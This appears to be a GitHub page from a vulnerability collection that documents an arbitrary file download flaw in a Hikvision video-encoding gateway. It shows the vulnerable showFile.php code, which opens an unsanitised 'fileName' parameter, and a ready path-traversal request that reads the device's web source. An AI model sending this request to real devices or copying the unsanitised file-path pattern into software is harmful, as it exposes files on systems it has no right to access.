Skip to content

Latest commit

 

History

History
19 lines (15 loc) · 423 Bytes

HIKVISION 视频编码设备接入网关 showFile.php 任意文件下载漏洞.md

File metadata and controls

19 lines (15 loc) · 423 Bytes
<?php
          $file_name = $_GET['fileName'];
          $file_path = '../../../log/'.$file_name;
          $fp = fopen($file_path, "r");
          while($line = fgets($fp)){
            $line = nl2br(htmlentities($line, ENT_COMPAT, "utf-8"));
            echo '<span style="font-size:16px">'.$line.'</span>';
          }
          fclose($fp);
?>
/serverLog/showFile.php?fileName=../web/html/main.php